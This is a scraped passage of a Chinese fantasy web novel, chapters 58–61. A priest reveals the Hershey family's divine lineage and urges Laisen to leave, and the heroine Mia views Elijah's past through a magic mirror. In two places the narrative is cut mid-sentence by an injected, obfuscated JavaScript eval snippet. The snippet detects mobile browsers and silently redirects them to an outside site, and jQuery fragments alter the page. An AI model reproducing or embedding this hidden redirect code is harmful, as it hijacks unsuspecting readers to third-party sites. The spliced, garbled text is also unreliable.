“我想到了一些事情,想——”说到一半,莱森的声音顿住,他看向乌斯的身后,卡伦脸上挂着和煦的笑容,正穿过人群走过来。 不能让他听到。 宿醉后的头疼让莱森的脑袋也变钝了,他盯着卡伦看了好一会儿,才想起来这一点,于是转身向外走去,“我在外面等你。” 乌斯来不及阻止他,就见他跌跌撞撞跑了出去。 与此同时,卡伦来到乌斯身旁。 “莱森大人这是怎么了?”卡伦笑眯眯地望着乌斯,他也闻到了空气中残存的酒气,手在鼻子前扇了扇,“乌斯神官知道吗?” 乌斯转头看着他,微笑道:“也许是他打算和我一起回绿恩岛。” 卡伦脸上的笑容变淡,“这么说来,莱森大人已经想清楚了,他要回去继承亲王的爵位?” “这个问题的答案,还是由他亲自告诉你们吧。” 说是这么说,他心里已经十拿九稳,经历了最近的事情,再留在赫尔西岛,只会让莱森感到痛苦。 多年前的共事让他十分了解莱森,他一定会离开这个地方,仅仅只是为了逃避。 直到宴会散了,乌斯才出去,在宴会厅外见到了莱森。 被凉风一吹,莱森身上的酒气散了许多,眼神也恢复清明。 见到乌斯出来,他什么也没说,径直向花园中走去,来到喷泉附近。 他坐到水池边的大理石水坛上,看着喷泉中央天空之神的雕像发呆。 乌斯走过去,也看向了雕像。 他曾经多次路过这个地方,也曾将视线投向始终洁白无瑕的雕像,但是直到这一次,他才开始真正审视起来。 连同这座雕像在内的整座庄园,其实处处充满了天空之神的象征。 雕像是最直接的体现。 还有赫尔西家族的家徽,衔尾蛇。 如今的奥维伊群岛,并不存在衔尾蛇这种生物,但在远古的传说里,这世上曾经有一条衔尾蛇,它是天空之神的宠物。 其实它只是一条普通的小蛇,因为总是叼着自己的尾巴盘成环状,又是神明的宠物,被人以为是什么特殊的神话生物。 传到后面,甚至出现了这条蛇是时间的象征这种离谱的传闻。 乌斯还是个普通神官之时,也曾对这些传闻感到疑惑。 真真假假,总是让人难以分清。 而当他成为红衣神官,能够接触到教会中只有高层才能阅读的书籍之后,有关这个世界的真相终于在他眼中展开了一角。 两百多年前的天空之劫中,无数生命逝去,无数书籍毁坏,一些秘密被隐藏,一些秘密彻底消失,只有极少数的人掌握着真相。 “莱森,你想对我说什么?” 青年抬起头,那张年轻英俊的脸上充满了茫然,“你没有什么想对我说的吗,乌斯,十年前,你掌控着赫尔西岛的一切,你是不是知道赫尔西家族的秘密?” 乌斯的脸色变了,他环顾四周,向莱森行了一个礼,“这里不是说话的地方,请随我来。” 他们一路向外走去,来到赛欧庄园附近的海滩,海浪声和风声足以掩盖他们的声音。 潮起潮落,海浪不知疲倦地拍打着沙滩,像一头永远都在愤怒的野兽。 “莱森,我本来不想这么早告诉你。”乌斯望着远方的海浪,声音仿佛从海面的那一头传来,穿越漫长的时间和距离,“如果要说清楚有关赫尔西家族的一切,恐怕要从世界的起源说起。” “世界的起源?” 莱森皱着眉,喉咙中发出疑惑的声音,墨黑的眼瞳不由自主地看向天空的位置。 黑夜中,在月亮旁边,有一个小小的黑点在天空中若隐若现,如果是天气晴朗的白天,视力超群的渡水者能够看见,那里有一座浮空的花园。 曾经是众神的居所,如今只剩一片死寂。 众所周知,奥维伊大陆起初是一片混沌,从混沌中诞生了三位创世神,祂们将混沌分开,原始之海出现,然后是天空与陆地。 当生灵诞生之际,这个世界也诞生了自己的神灵,其中一位创世神为神灵们立下规矩,在天空中创造了一座永恒花园,作为神明的居所。 然而两百多年前,天空之劫来临时,永恒花园崩塌,只剩下一片废墟。 神明此刻与人类无异,在劫难中死伤殆尽,如今仅余十数位神明尚存于世。 祂们再也登不上永恒花园,选定了大地崩裂的起点,一条位于玛丽亚联盟西边的裂谷附近的岛屿,将其更名为永恒岛,纪念曾经神世纪的辉煌。 自那之后,有关创世神的一切都从史书中抹去,人们只知道有三位创世神,却不知道祂们究竟是谁,如今又在何方。 如今奥维伊群岛的三大帝国两大联盟各有其信奉的主神,他们都试图论证自己信奉的主神是创世神之一,但都没能成功。 这是奥维伊群岛中家喻户晓的故事。 “接下来我要说的事情,也许你会感到不可置信,但都是经过验证的事实。”乌斯转过头,眸光深深,平凡普通的脸上皱纹仿佛都舒展开了,“天空之神伊瑟尔是创世神之一,两百多年前,正是祂的陨落导致了大地的崩裂,渡水者的力量来源,也是天空之神死亡时溢散的神力。” 莱森惊讶地瞪大了眼睛,他几乎下意识就要反驳,但想到乌斯的强调,又将话咽了下去。 乌斯继续说道:“赫尔西家族的祖先是天空之神的后裔,所以每一个赫尔西家族的人一出生就能成为渡水者,因为你们对天空之神的神力有天然的亲近。” 这一次,已经不能用震惊来形容了。 人类之中,常有宣称自己是神的后裔的家族,有些的确有特殊的能力,但被稀释了的血液,终究发挥不了太大的作用。 如果只是告诉他,赫尔西家族是天空之神的后裔,莱森未必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120392|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此惊讶,包括他在内的许多人,都有这样的猜测,赫尔西家族的来历一定不简单。 他们太过特殊,特殊到如果家世普通才会让人惊讶。 可是乌斯刚刚的话还在耳边,天空之神伊瑟尔是创世神。 后来的诸神和创世神根本无法相提并论,连三岁小孩都知道。 这个消息,就有些太过叫人惊讶了。 莱森甚至失去了反应的能力,一想到这个消息是真的,他就觉得荒唐。 乌斯很理解他现在的心情,多年前,他刚知道这个消息的时候,和他是一模一样的反应,难以置信。 他不打算给莱森太多反应的时间,又说:“莱森,接下来我要说的,才是重点。创世神的力量太过强大,在祂们看来,人类也好,群岛上的其他生物也好,都是一群微不足道的蚂蚁,祂们从不关心人类的死活,祂们也没有道德可言,就像两百年前一样,伊瑟尔的死亡引发了巨大的灾难,祂可以避免,但祂并不在意,祂们从来不会迎来真正的死亡,祂只是暂时消失了,蛰伏在某个地方,等待着下一次降生。而祂的降生,必然会带来与两百年前相同的甚至有过之而无不及的灾难。我得到的消息是,祂将在最近几十年重生。” 莱森咽了一口唾沫。 小的时候,他曾在帝都绿恩岛的博物馆中见到过描绘天空之劫惨状的图画与雕塑。 大地开裂,海水倒灌,狂风暴雨与电闪雷鸣持续了近一个月,无数的人丧生于大地的裂缝之中,丧生于波涛汹涌的大海之中,丧生于不知名的力量之中。 后来人们知道,那股力量催生了渡水者的出现。 但在人类能够利用这一力量之前,它已经无形中杀死了许多人和动物。 如果这样的灾难再来一次—— 莱森甚至想象不到灾难之后奥维伊群岛会变成什么样子,已经是一座座岛屿了,还能怎么继续分裂? 此时,他发出了曾经的乌斯也曾想过的,相同的问题,“有没有办法阻止祂重生?” 话一说出口,他又觉得自己异想天开,那可是创世神,拥有毁灭这个世界的能力,怎么会有办法阻止他呢。 乌斯微微一笑,莱森问到了事情的关键,也是他今夜最想对他说的,“阻止或许很难,但是我们可以延缓推后祂重生的时间。那一天来的越晚,就越有可能找到阻止祂的方法。” “怎么做?”莱森激动地走上前。 他几乎要被绝望淹没,乌斯的话让他又燃起了希望。 乌斯定定地看着他,眼神锐利,声音也变得冷硬,“那个方法很简单,但也很难。” 从前他在莱森面前,总是温和无害的样子,以至于让莱森认为,他是一个随和的人,但一个从贫民窟走出来,无依无靠,最终爬到红衣神官位置的人,怎么可能温和无害呢。 莱森少年时单纯天真,如今却不会这么想,只是他此前不肯承认罢了。 看着眼前稍显陌生的男人,他站直了身子,笔挺的礼服勾勒出挺拔修长的身材,整齐的发尾被海风吹得凌乱了一点儿,反而增添了几分随性的气质。 他的眼中显出认真神色,黑色的眼睛几乎与黑夜融为一体。 第一次,乌斯从他的身上看到了一丝那两个人的影子,缇雅·赫尔西与以利亚·赫尔西,那两个感情很好的姐弟,他们几乎是如出一辙的冷静沉稳。 然而在缇雅·赫尔西出嫁之后,他们再也没有了联系,乌斯有时候也会想,如果没有这番变故,后来的悲剧还会发生吗? “是什么?” “杀了以利亚。” 59. 梦醒(四) “莱森,早知道你竟如此冲动,昨晚我不会告诉你那些事情。” 阳光洒在乌斯的侧脸上,在他的另外半边脸形成一道慑人的阴影,莱森起身之时,看到的就是这道阴影。 他的脸色也很差。 他刚刚激动地去找以利亚证实乌斯的话,对他来说,这是难得的勇敢,他一股脑冲上了高塔的五楼,结果却吃了个闭门羹。 他的舅舅根本就不愿意见他,无论他怎么敲门,门始终未曾打开,当他想隔着门将心里的疑惑问出来时,这个念头一动,人就从五楼来到了一楼,然后从门口飞了出来。 莱森只能将以利亚的反应视为一种默认,他进去之前遇到了黑骑士,想来黑骑士已经将昨晚他和乌斯的异常告知了以利亚。 他的舅舅,甚至连一句解释也不肯给他,哪怕是一句假话呢。 在这个世上,他是他唯一的亲人,他甚至这么多年以来一直假装不知道发生在罗尔身上的事情,勉强维持着他们之间仅剩的亲情。 虽然其中大部分原因是胆怯,但不可否认,也有那么少许原因是,他无法再失去这个亲人,毕竟他们是最后两个拥有赫尔西姓氏的人了。 莱森从没有像现在这一刻这么失望过。 一夜之间,他的世界天翻地覆。 他喜欢的女人,投入了舅舅的怀抱,他甚至无法再去争取,因为他害怕他,也因为他终于看清了,那个女人并不喜欢他,可他还是无可救药地想着她。 他的身世也成了套在身上的枷锁。 莱森又想到了昨夜在海边时乌斯的话。 当他质问为什么阻止天空之神降生需要杀死以利亚之时,乌斯的回答彻底颠覆了他一直以来的认知。 乌斯说:“天空之神降生需要一个载体,这个载体必须能够承载祂的力量,不排斥祂,这样,当祂苏醒的那一刻,他就能瞬间回到全盛的状态。这世界上,还有比赫尔西家族的人更符合这些条件的吗?” 莱森立刻明白了他的意思,他想到了自己舅舅身上那远超常人且远超渡水者的强大力量,“你是说,领主大人他会是——” 他不知道该怎么形容,用载体来称呼自己的亲人,他实在说不出口。 好在乌斯能够明白他的意思,红衣神官点了点头,“没错。” “你有什么证据可以证明?”莱森问。 “其实你已经相信了,不是吗?”乌斯看着他,“我没有证据,一切都只是推断,我还有另一个推断,你会更感兴趣的。” “什么?” “我推测,历任赫尔西家族族长,都知道赫尔西家族的起源,他们也许有什么特殊的方法,能够将秘密传承并且保留下来。在天空之劫发生之后,不知道你有没有注意到,赫尔西家族每一代都只有一个人,你觉得这是一种巧合吗,不用急着回答,听我慢慢说完。在绿恩岛的图书馆中,我找到了一封信,是天空之劫后第二任赫尔西岛领主写给他的密友的信件,在信中,他反复提及一个词语,复活,那封信的内容杂乱无章,像是一个神智不清的人书写的。事实上,信件写成之时,那位领主的确已经疯疯癫癫一段时间,并且在信件寄出后不久失踪,后来人们在海中发现了他的尸体。收到信件的贵族出于恐惧,将信交给了教会检查,然后被教会收藏在图书馆的禁书室,教会用尽各种手段,未从信中发现任何诅咒或者力量的波动,那的确是一个疯子写的一封胡言乱语的信,但在信的末尾,有一句完整的话。他说,复活终将到来,为了保证家族的发展,务必将范围控制在可接受的程度。” 乌斯顿了顿,见莱森陷入了沉思,沉默了一会儿,给他足够的时间消化这个消息,然后接着说:“也就是说,他们不清楚神明会在何时降临,但对于赫尔西家族来说,过于庞杂的家系会导致人选不可控,尤其是出现外嫁的情况之后,事情将变得更加复杂。于是他们主动选择了单一的血脉延续,直到——” 莱森脸色苍白,主动接过他的话,“直到他的出生。” 作为赫尔西家族的一员,莱森知道的讯息与乌斯一致,事实上,多年以来,一直有人试图探究以利亚的出生意味着什么。 在他出生之前,所有人都认为,这一代的赫尔西家族只会有缇雅·赫尔西一人,然后按照惯例,缇雅·赫尔西会继承领主之位,她会与某位男士在赫尔西岛结婚,婚后两人共同生活在赛欧庄园,生下的孩子也会姓赫尔西。 以利亚的出生却彻底打破了这一惯例。 更确切地说,他能出生已经是所有人都没想到的意外。 尚在婴儿时期,他就表现出了与神力极强的亲和性。 通常来说,赫尔西家族的人都有这一特征,但他所表现出来的,要比缇雅·赫尔西和他的父亲强上百倍千倍。 后来缇雅在帝都遇见了雅克亲王,两人私定终生,皇室也正有与赫尔西家族联姻的打算,一切水到渠成,缇雅婚后随雅克亲王住进了帝都的亲王府,以利亚成了赫尔西岛的继承人。 “我想,您的祖父早就意识到了,他的出生意味着什么,他就是赫尔西家族一直以来等待的,绝佳的承载神明的容器。” 莱森的脸色越来越白。 他显然也想到了,发生在以利亚身上的,许多不寻常之处。 乌斯等了很久。 他明白,不是每一个人都能接受这个消息,尤其是对方还是以利亚的亲人。 莱森开始摇头,他的神情逐渐变得激动,一个劲地往后退,仿佛想逃离这可怖的消息,他疯狂地否认着,“不会的,不可能,这只是你的猜测,你根本就没有证据!” 乌斯平静地说:“莱森,就算你不相信,作为朋友,我也认为你应该远离他,我希望你能接受亲王殿下的请求。殿下已经病得很重了,他很需要你。” 提到许久未见的父亲,莱森的情绪渐渐稳定,愧疚又占据了上风。 这夜很漫长,乌斯看出莱森表情松动,趁胜追击,又对他讲了绿恩岛的许多情况。 当他们回到赛欧庄园之时,天已经蒙蒙亮。 那时,乌斯感到了一种奇怪的感觉,从赫特高塔传来,仿佛有什么事情正在发生,他无视了黑骑士审视的眼神,看向了那座高塔。 但是奇怪的感觉又消失了,天地在一瞬间都安静了许多,就像蒙上了一层隔音的布。 阳光下,乌斯回想起来这一幕,忽然发现,就是自己在这一刻的动作,加深了莱森前来高塔问个清楚的冲动。 结果却是—— “我答应你。”青年的眼底有一点儿乌青,一夜没睡,他的精神萎靡,眼底的坚定却前所未有,“乌斯,我还是不信你的话,但既然舅——领主大人不愿意回答我,我会用自己的办法找出真相。” 乌斯听出了他的言外之意。 在赫尔西岛,在以利亚的控制之下,他永远也没有机会接触到真相,只有离开这里,回到绿恩岛,借助皇室的力量,他的目的才能达成。 “我愿意回去。” 乌斯脸上终于露出了笑容,他垂下眼眸,向莱森行了一个独特的礼仪,那是教会高层见到皇室亲王时的礼节。 “亲王殿下会为此消息高兴的。” 莱森沉着脸,又看了一眼高塔的最高层,在那扇门外,他曾经听到另一个声音,如今一想起来就会心痛的声音。 苦笑了一声,莱森又重申道:“但我不会娶那位萨穆帝国的二公主。” 乌斯笑容不变,“这是您与亲王殿下需要考虑的事情,我只能代为传达 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米娅讽刺地笑,“还真是大度,因为我们是旧情人,所以你愿意饶我一命吗?” “我并不喜欢杀人。”以利亚说。 米娅觉得自己好像听到了天大的笑话,“不喜欢杀人,却可以随意剥夺海妖的生命吗,你要是真跟海妖有过节也就罢了,当初她们待你哪里不好了?!” “你还是没放弃杀我吗?”以利亚皱起了眉。 米娅没有回应。 这时,远处忽然传来了砰砰几声,像是什么爆炸了,以利亚看向窗外,浓烟从庄园城堡升起,伴随着尖叫声,火光从城堡中升起。 着火了? 米娅也看见了,有些疑惑。 “米娅。”以利亚的声音将她的注意力拉了回来,“我要离开一段时间,回不回去,选择在你,但你应该知道,你杀不死我,何必浪费时间。” 说完,他就消失了。 赛欧庄园着火,是需要他出面的大事。 米娅走到窗外,看到短短的一瞬间,他的身影出现了火光之中,被烈火包围。 心头一悸,她关上了窗。 靠在墙上,仿佛带刺的讥讽表情一点儿一点儿消失。 她杀不死他,毫无疑问,不仅是因为她没有那个力量,更是因为她做不到。 她已经没有办法再对他下手。 回去奥修斯岛吗? 米娅呢喃道:“我怎么还有脸回去呢?” 不,现在不是想这些的时候。 难得以利亚离开了,她得抓住这个机会。 米娅来到四楼,推开四楼的房间门,以利亚的古怪收藏映入眼帘,她径直走过它们,来到房间深处的书桌旁,果然看见那支羽毛笔毫无生机地躺在桌上。 “以利亚不在,别装死了,起来。” 羽毛笔唰地一下弹射飞起,用肉眼看不清的速度绕着房间转了一圈,确认米娅没骗他之后,舒展羽毛落到米娅面前。 “吓死我了,还以为这回死定了。” 是米娅听过的那个声音。 米娅懒得跟他贫,直截了当地说:“带我回到刚才的回忆。” “什么?”羽毛笔懵了。 “我要知道他离开奥修斯岛后发生了什么?” “不行不行。”羽毛笔连连摇头,“要是被他知道了,我就真的完蛋了,而且,去看那段记忆,跟杀了我也差不多了。” 米娅不语,她看得出,羽毛笔现在很脆弱,绝非咬了她一口时的状态,她走上前去,一手抓住羽毛笔的末端,一手捂住他的嘴。 “你不同意,我现在就将你折断。” 60. 过往(一) 阳光明媚的清晨,海妖少女早早离开了家,人类却还在睡梦之中,他的眉头紧紧皱起,看来是个噩梦。 他醒来后,找到了忙碌中的米娅。 “你要出去,为什么?” “我有不得不去做的事情。”人类的回答含糊其辞。 “可是你答应过我,不会离开的。” “米娅,对不起。”道歉倒是很真诚,同样也很坚决,他非走不可。 少女冷着脸推开了他,“你非要走,我还能把你的腿打断吗,让开,别妨碍我。” 转身的一瞬间,眼泪涌了出来,可是少女只能麻痹自己,她还有一堆事情要忙,哪有空管他。 晚上,当少女回到家中之时已是深夜,人类在等她,他的行李甚至已经打包好了,就放在他的脚边。 说是行李,也就两件衣服,他的大部分家当,都在那场风暴中掉进了海里。 “你真的非走不可吗?”少女问他。 人类说:“我已经跟祭司说过了,她同意了。” 少女站在原地,半晌没有动,离别对她来说还太沉重,可是连祭司都同意了的话,她又怎么能留下他呢? “米娅。”人类握住了她的手,将她拥入怀中,“最晚五年,我会回来的。” 五年。 对海妖来说微不足道,可是对人类来说,他们又有多少个五年呢? 少女看着他,她想知道,究竟是什么事情,需要他违背自己的诺言。 “告诉我理由?”事不过三,少女没再坚持,有些失落,又有些故作坚强,她笑了笑,眼眸如星,“说得过去的话,就放你走。” 这种话,已经等同于接受了,人类知道,就算他什么也不说,她也不会再强求。 “我做了一个梦。” 人类不再瞒着她,他的声音如流水一般悦耳,清润动听,慢慢在她的耳边滑过。 少女竖起耳朵,凝神听着。 米娅也在认真听着。 “在梦里,我见到了我的外甥,他还维持着十年前小孩子的样子,但是浑身都是伤口,他说他很痛苦,希望我能去救他。” 少女问:“外甥?那是什么?” 海妖对于血缘上的关系并不看重,父母子女兄弟姐妹,此类最亲密的称呼,对他们来说就是对血缘认知的全部了。 人类失笑,“外甥是指——我的姐姐的儿子。” “姐姐?”少女惊讶地睁圆了眼睛,她觉得哪里不太对,想了好一会儿,突然想起来,“可是我们第一次见面的时候,你不是说,你没有亲人吗?” 黯然的神色从人类脸上闪过,少女意识到自己说错了话,窘迫地抿起嘴唇。 人类见状,指尖慢慢抚过她的唇边,“是我骗了你,实际上,我的父母和姐姐都已经去世了,但是我还有两个亲人活在世上,他们是我姐姐的儿子。不过我离开家的时候,他们年纪都太小了,我还以为他们已经记不得还有我这个人了。没想到——” 少女听到这里,解了一个疑惑,却冒出来越来越多的疑惑,“你梦到了他,这只是一个梦而已,你们不是很喜欢说,梦和现实是相反的吗?” 说虽如此,她在心里想了一下,如果是自己梦到尤妮在梦中对自己求救,一定也会想尽千方百计见她一面,确认她安然无恙才能放心。 她能够理解他为什么一定要现在离开了。 人类想到了什么,神色有些难看,但当他看向米娅时,依然保持了微笑,“对于普通人来说是这样,但对于我所出身的家族不是,这个梦一定有寓意。” 什么寓意? 无非就是梦中所见是现实,少女沉默下来,她得到了答案,却不想是如此沉重的答案,沉重到仿佛她此前的不悦都变成了无理取闹。 自己的亲人正在遭受痛苦,并且向自己发出了求救的信号,只要不是铁石心肠的人,谁又能无视呢? 她知道,曾经的自己再也不会阻拦了,要不是现在不让出岛,她肯定会和他一起去。 海妖少女抱住了人类,手放在他的背上,回想着人类会怎么安慰同类,轻轻地拍了拍他的背。 略显笨拙的动作,像哄小孩子一样,却将人类脸上的沉重驱散。 他回抱住她,将她牢牢禁锢在怀里,少女的馨香充斥在鼻尖,让他情不自禁闭上了眼睛,深深地呼吸。 他们就这么拥抱着,直到月亮爬到了正上方,万籁俱静,唯有海风拂过生命之树的枝叶铃铃作响。 无数个夜晚,这美妙的声音伴着少女入眠。 安静的时光总是很短暂。 在第三次被路过的海妖侧目而视之后,少女选择拉着人类走进屋中,将门一关,迫不及待地将柔唇压在人类的薄唇上。 他将于明早离开,这是他们离别前的最后一个夜晚,她不想浪费,人类也有着同样的想法,他们在门后拥吻,热烈绵长的吻落在各自的唇上,像他们的第一次亲吻。 这个吻同样持续了很久,分开之时,少女的胸脯剧烈的起伏着,双颊很红,是缺氧和热意导致的,她已经过了害羞的阶段。 人类将她抱了起来,走到屋里唯一一张床前,他没有像以往那样,急不可耐地将她压倒在床上,而是将她放在床边,蹲下来看着她,执起她的手,低头在她无名指上落下一吻。 少女不解地看着他,人类只是微笑,“等我回来。” 暧昧的声音响起,少女轻喘着呼唤人类的名字,就像曾经每一次一样,但这一次,人类停了下来,他郑重地看着她,像是要宣布什么。 “米娅,我要向你坦白,在另一件事上,我也骗了你。”人类的声音很近,就在她的耳边,她想忽略也做不到,只能听着他继续说下去,“约翰不是我的真名,我的真名是——” “以利亚·赫尔西。” 少女对人类社会知之甚少,但也知道赫尔西这个姓氏意味着什么。 她俏皮地笑,“那我们还算是邻居了。” 那时她还不知道,以利亚已经很多年没有回过赫尔西岛。 这个邻居,还真称不上。 第二天,以利亚离开了奥修斯岛。 画面一转,一个月后,一位女巫应老祭司的邀请,前来为海妖血与渡水者的特殊关系进行占卜。 那是一场神秘的仪式,结果也只有老祭司知道,就连米娅,至今仍被蒙在鼓里。 也就是在那时,女巫不知从哪儿听说了海妖少女的烦恼,送给了她一只神奇的小鸟和一面镜子。 女巫说:“在镜子背面写上想见的人的名字,小鸟就会飞到那人身边,小鸟的眼睛看见的所有画面,都会在镜中呈现,通过小鸟和镜子,你们还可以对话。” 少女将信将疑,将镜子和小鸟检查了一番,没看出来有什么问题,思忖了很久,才在镜子背面写下了以利亚的名字。 最后一笔落下,黑色的墨迹瞬间消失不见,仿佛浸进了镜子里,与此同时,始终无精打采的小鸟飞到了她的手腕上,细长的尖喙在她的手掌上一啄。 一阵刺痛袭来,血珠冒出来。 少女看着小鸟将血珠衔在口中,然后消失在了面前。 “真神奇,该说不愧是女巫吗。”少女嘟囔着看向镜子的正面。 镜中映照着她的脸,虽然怎么看都只是一面普通的镜子,但她已经可以确定,女巫说的话是真的。 那是不是意味着,她很快就能从镜子中看到以利亚了? 思及此,她突然紧张起来,赶忙走到不怎么用得上的梳妆台前,从抽屉里翻出一把断了齿的旧梳子,往头上一放。 手上还没动,少女又泄气似的将梳子拍在了桌上。 真是的,她怎么忘记了,就算女巫没有骗人,从镜子的另一端,也看不见她的模样。 月升日落,等了足足一天的时间,镜子依然没有任何变化,它就像所有的普通镜子一般,倒映着面前的景象。 天已经很晚了,正是人类陷入熟睡的时刻。 再等下去似乎也没有意义,少女将镜子往桌上一扣,打开窗户,让皎洁的月光倾洒进来。 窗外,熟识的海妖自天空飞过,瞧见了她,向她打了个招呼。 少女也回以笑容。 这时,她的手边忽然传来了奇怪的声音,小巧的镜子在桌上轻轻颤动起来,然后是一阵剧烈的风声,仿佛是吹过山顶的狂风正在肆掠。 但在不远处,生命之树的树叶正随着微风轻轻摇曳,像无数个温柔的夜晚一样,狂风的声音似乎只是她的错觉。 如果不是岛上的声音,那就只有—— 少女愣了一下,手放在镜柄上,深吸一口气,压住忽然变得狂乱的心跳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133324|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 镜柄旋转,光滑平整的镜面上,竟然真的像水面一样泛起点点涟漪。 涟漪荡漾开来,将镜面分割成无数个部分,不同的景象在其中一一闪现,大多是些无意义的俯瞰风景。 景色从白天到黑夜,镜中的景象也越来越暗,直到一片耀眼的光芒出现,景色的变幻放慢了速度。 光芒聚集之处,是一片繁华的居民区。 首都的繁华远非其他岛屿能比,即使是深夜,依旧有涌动的人潮和耀目的灯火。 镜面涟漪渐渐平息,无数闪烁的画面最终被这副热闹的景象占据。 这个视野,小鸟大概站在路边的某棵树上。 不过,这些都是过去的景象了,很快,镜中的景象再次发生了变化,黑色的修长身影自视线边缘一闪而过。 少女激动地站了起来。 她不会认错,那是她的恋人。 喜悦尚且未在心间荡漾,她的神情就变得严肃起来。 她不太懂人类世界,但也看得出来,在刚才的景象里,以利亚在隐藏行踪。 这可不是个好兆头。 米娅面露焦急,一动不动地盯着镜面,心里恨不得能穿过镜子去往镜中的地方。 镜中的画面变化的很快,是小鸟在夜空中快速飞翔。 以利亚的身影在错综复杂的街区之间穿梭,通过偶尔的一瞥,少女能看见暗夜中不怀好意的眼睛。 他们来势汹汹,逐渐将奔跑中的以利亚包围。 四周光线渐暗,喧闹的人声从很远的地方隐隐传过来,不知不觉间,两方来到了一处废弃的庭院。 枯枝败叶落满了白色的庭院,蜘蛛网遍布每一个角落,以利亚在庭院中央站定,脚踩在干枯的落叶上,清脆声响为暗中追杀他的人标明了方向。 看到这幅景象,少女紧张的心落了下来,她是最清楚以利亚的力量的,想摆脱这些人于他而言轻而易举。 那么眼前的一幕只有一种可能性,他是故意将他们引到这里来的。 虽然不知道他的目的是什么,但后来发生的事情证实了她的猜想。 来者约有十多人,皆是实力不俗的渡水者,但他们加在一起,也完全不是以利亚的对手,不过几下,就被打的落花流水。 解决掉最后一个人,俊美的青年忽然抬起了头,漂亮的棕色眼眸直直地望了过来,仿佛看到了镜子的另一边。 少女的心漏跳了一拍。 难道他也能看到我? 不对! 看到以利亚的眉毛皱了起来,少女忽然明白了什么,她连忙叫出声:“等等!” 电光火石之间,眼前的景象骤然变化,刚才还有些距离的以利亚,忽然离得很近很近,那张毫无瑕疵的脸占据了整面镜子,每一个细微的表情都生动不已。 镜中的以利亚表情一怔,紧皱的眉头舒展开,少女看到以利亚修长的手伸了过来,仿佛捧住了镜子,温柔的声音中有一丝惊讶。 “米娅?” 少女惊喜道:“你能听到我说话?” 以利亚的声音更惊讶了,眼神有些古怪,“真的是你?你怎么变成一只……鸟了?” 明明知道他看不见,少女还是不好意思地侧过脸去,脸颊微热,“不是这样的,我还在奥修斯岛上,这只鸟是——” 犹豫了一下,她将女巫的故事讲给他听。 “原来是这样。”以利亚温柔地笑着,手上的力气一松,“还好你说的及时,否则——” 否则如何,以利亚没有再说下去,少女却从他温柔的话语中听出了一丝不寻常的意味,她微微一怔,不禁问道:“你这是在哪里,这些人是什么情况?” “没事,不用担心。”以利亚无所谓地一笑,“我在绿恩岛上,至于这些人,不过是一些以前的仇家罢了,你看我不是没事吗。” 那些人都是渡水者,行动十分统一。 少女可是知道,渡水者在人类之中并不常见,能同时聚集这么多力量不弱的渡水者来刺杀,以利亚的这个仇家,一定不是普通人。 他在避重就轻。 可是少女也听得出来,他并不想过多谈论此事。 老祭司说,人类的感情是很复杂的,哪怕是最亲密的人,也有不想让对方知晓的过往,她并不想显得咄咄逼人,也就没有问出口。 61. 过往(二) 神奇的小鸟就这么跟在了以利亚身边。 很快,他们来到了雅克亲王的庄园前。 身为布里斯帝国皇帝陛下唯一的亲弟弟,雅克亲王拥有一座不逊色于皇宫的豪华庄园,白色的城堡依山傍水,透露出古老圣洁的气息。 “好漂亮。”少女从镜中看到了城堡的模样,忍不住发出感慨。 “上一次我见到它,是在十三年前,这么多年过去,它丝毫没变,只是草坪上的鲜花少了些活力。” 不费吹灰之力,以利亚进入了庄园之中,他站在城堡前的草坪上,精心打理的草坪像是一件被精心雕刻的商品,精致却死板。 少女没说话,听他继续说下去,“十三年前是姐姐的葬礼,她生前很喜欢打理花园,赛欧庄园中花园就是她的手笔,那个时候,我只要看着这些鲜花,就会想起她。” 以利亚语气中有些怀念。 少女不知道该怎么安慰他,她好像从没有特意安慰过别人。 好在以利亚很快就将这个话题略过去了,他的目标不是来缅怀逝去的人。 他悄悄潜入了城堡之中,小鸟立在他的肩头,圆溜溜的眼睛一会儿看看他的侧脸,一会儿看看周围的坏境。 气氛有些紧张,就连镜子前的少女也不禁放轻了呼吸。 他在城堡中找寻了很久,终于在某个房间里,找到了罗尔。 夜深人静,十三岁的少年紧闭着双眼,安静地躺在床上,白色的被子从脖子下面遮得严严实实,只有瘦削苍白的脸露在外面。 一眼看过去,他实在不像是十三岁的少年,被子下隆起的躯干瘦瘦小小的,顶多就是个十岁孩子的样子。 他似乎在做梦,那张瘦得可怕的脸慢慢皱成了一团,像个刚出生的小婴儿。 少女就是再不懂人类,也知道面前的少年不大对劲,尤其是听到以利亚的呼吸骤然加重,她更确定了自己的猜想。 看来以利亚说少年在梦中向他求救货真价实。 看着少年的脸,她忍不住想,是否这一刻,他依然在向自己的亲人发出求救讯号呢,他看到以利亚出现的那一刻,会是怎样的反应? 她很快就知道了。 以利亚靠近了少年,短短的一段路,他走得极为沉重。 没有掩饰的脚步声叫醒了少年,他睁开了眼睛,看向缓缓走向自己的人影,眼中忽然惊醒的恐惧还未褪去,泪水却涌了出来。 “是舅舅吗?” 少年的声音很小,像猫叫一样,又细又弱。 “你认得我?”以利亚轻声问。 少年道:“您和我母亲的画像很像。” 聪慧得令人心疼,少女无声地叹了口气,如果尤妮能有这么聪明,真不知道她能少操多少心。 “我听到了你的求救,怎么回事?”以利亚尽量放轻了声音,像怕惊扰了受惊的猫,小心翼翼地问。 此情此景,他再也笑不出来。 